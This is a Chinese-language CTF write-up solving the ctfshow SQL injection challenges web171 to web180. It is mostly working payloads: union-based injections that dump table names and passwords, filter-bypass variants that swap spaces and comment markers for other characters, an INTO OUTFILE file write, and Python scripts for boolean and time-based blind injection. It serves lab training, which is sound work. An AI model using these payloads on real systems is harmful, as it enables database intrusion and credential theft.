目录
web171
用order by判断字段,确认字段数为3
接着用联合注入爆出当前数据库的所有表名
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()--+
根据题目给的SQL语句判断,flag就在字段password里,且旁边对应的字段username值为flag,故构造payload直接查看flag
-1' union select 1,2,password from ctfshow_user where username = 'flag' --+
总结:
有时候注释符#用不了,可以换成--+注释掉,联合查询的结果跟前面where的限制条件无关,比如前面username != ‘flag’对联合注入无效
web172
跟上一题差不多,只不过这里字段数为2,还有个约束条件
判断回显的字段是否有flag,有flag就不能回显
先看一下表
-1' union select 2,group_concat(table_name) from information_schema.tables where table_schema = database()--+
这里明显flag不在第一个表里,构造payload
-1' union select 2,password from ctfshow_user2 where username = 'flag' --+
web173
字段数依旧为3,与第一题不同,这有个过滤函数
判断是否回显有flag,有就查询失败,不过貌似没用
-1' union select 1,2,password from ctfshow_user3 where username = 'flag' --+
web174
可以判断字段数为2
根据提示,这里过滤了flag跟数字0-9,所以在查询id=2根id=3的时候会没有回显,所以本题有两种方法,一种是盲注,一种是直接绕过
方法一:字符串转化绕过
因为flag肯定含有数字,可能还含有flag等字段,所以我们可以先对回显的值进行base64加密,再进行数字替换,就能绕过查询结果检测了,用到的函数有to_base64和replace
这里构造payload
-1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),"1","@A"),"2","@B"),"3","@C"),"4","@D"),"5","@E"),"6","@F"),"7","@G"),"8","@H"),"9","@I"),"0","@J") from ctfshow_user4 where username = 'flag' --+
将密码复制一下,粘贴到解密脚本得到flag
import base64
flag64 = " "
flag = flag64.replace("@A", "1").replace("@B", "2").replace("@C", "3").replace("@D", "4").replace("@E", "5").replace("@F", "6").replace("@G", "7").replace("@H", "8").replace("@I", "9").replace("@J", "0")
print(base64.b64decode(flag))
方法二:盲注
我们首先得知道查询的接口跟盲注正确页面与错误页面的区别才能写出python脚本跑,先用burpsuite抓包id查询的接口
拼接得到查询接口的url
ca140cdb-03af-4111-aea3-508eb34a10a1.challenge.ctf.show/api/v4.php?id=1&page=1&limit=10
直接上网站访问一下看看
再用布尔逻辑盲注,试试看错误页面
ca140cdb-03af-4111-aea3-508eb34a10a1.challenge.ctf.show/api/v4.php?id=1' and 0--+
admin就是判断是否正确的关键了,利用这点,写出python脚本(能力有限,代码一点烂得跑久一点)
import requests
url = "http://1641eab8-d9ad-45ac-b1f6-088311ddb9e0.challenge.ctf.show/api/v4.php"
flag = ""
for i in range(1,100):
c = 32
while c > 31:
payload_1 = "?id=1' and ascii(substr((select group_concat(password) from ctfshow_user4 where username = 'flag'),%d,1)) > %d -- -"%(i,c)
payload_2 = "?id=1' and ascii(substr((select group_concat(password) from ctfshow_user4 where username = 'flag'),%d,1)) = %d -- -"%(i,c)
res_1 = requests.get(url=url+payload_1).text
res_2 = requests.get(url=url+payload_2).text
if "admin" in res_1:
c = c + 10
elif "admin" in res_2:
flag += chr(c)
print(flag)
print(c)
break
else:
c = c - 1
web175
正则匹配中\xnn代表的是ascii码为十六进制nn的字符串,本关过滤掉了ascii从0到127的字符,所以就不能单纯地靠回显来爆出flag了,但是可以利用时间盲注跟写出文件来拿到flag
方法一:时间盲注
抓到拿到接口url,写一个时间盲注的python脚本
#ctfshow web175
import requests
url = "http://84e961fe-66cb-4aeb-b84e-bc8d9fc931bd.challenge.ctf.show/api/v5.php"
flag = ""
i = 0
while True:
i = i + 1
left = 32
right = 127
while left < right:
mid = (left + right) // 2
payload = f"?id=1' and if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),{i},1))>{mid},sleep(2),0) -- -"
try:
res = requests.get(url = url + payload, timeout = 0.6)
right = mid
except Exception as e:
left = mid + 1
if left != 32:
flag += chr(left)
print(flag)
else:
break
方法二:文件写入
写入文件的前提是知道网站初始的目录,一般来说都是/var/www/html/
构造payload
0' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--+
然后访问1.txt即可拿到flag
总结:
输出被限制的时候可以利用文件写入操作,into outfile
web176
用order by判断字段数为3,接着用联合查询
发现联合查询被过滤掉了,select被过滤掉了,用大小写能绕过去
先看一下当前数据库的表名
0' union Select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() --+
接着跟上面一样,直接爆flag
0' union Select 1,2,group_concat(password) from ctfshow_user where username = 'flag' --+
web177
经过测试,同上题一样,就是把空格给过滤掉了,就相当于把注释符-- 给过滤掉了,我们可以用/**/或者是%0a(回车)来绕过空格的过滤,%23(#)来绕过注释符的过滤,接着我们直接拿下flag
'/**/Union/**/Select/**/1,2,group_concat(password)/**/from/**/ctfshow_user/**/where/**/username='flag'%23
总结:
这种题目不能用一般fuzz跑,因为SQL语句错误,跟被过滤掉的关键字都是同一个回显,只能一个一个测试,或者是直接用工具生成对应正确的fuzz跑
web178
跟上一题相比过滤掉了/**/注释符,但是能用回车(%0a)、括号、%09、%0c、%0d、%0b代替,一样
'%0aUnion%0aSelect%0a1,2,group_concat(password)%0afrom%0actfshow_user%0awhere%0ausername='flag'%23
总结:
空格被过滤可以用,/**/,%09,%0a,%0b,%0c,%0d还有括号绕过
web179
发现也过滤了很多符号,但是%0c能用,跟上题一样
'%0cUnion%0cSelect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'%23
web180
%23给过滤掉了,可以用闭合号来注释掉后面的语句'1'='
'%0cUnion%0cSelect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'or'1'='
总结:
注释的方法有三种,-- 和#还有闭合号注释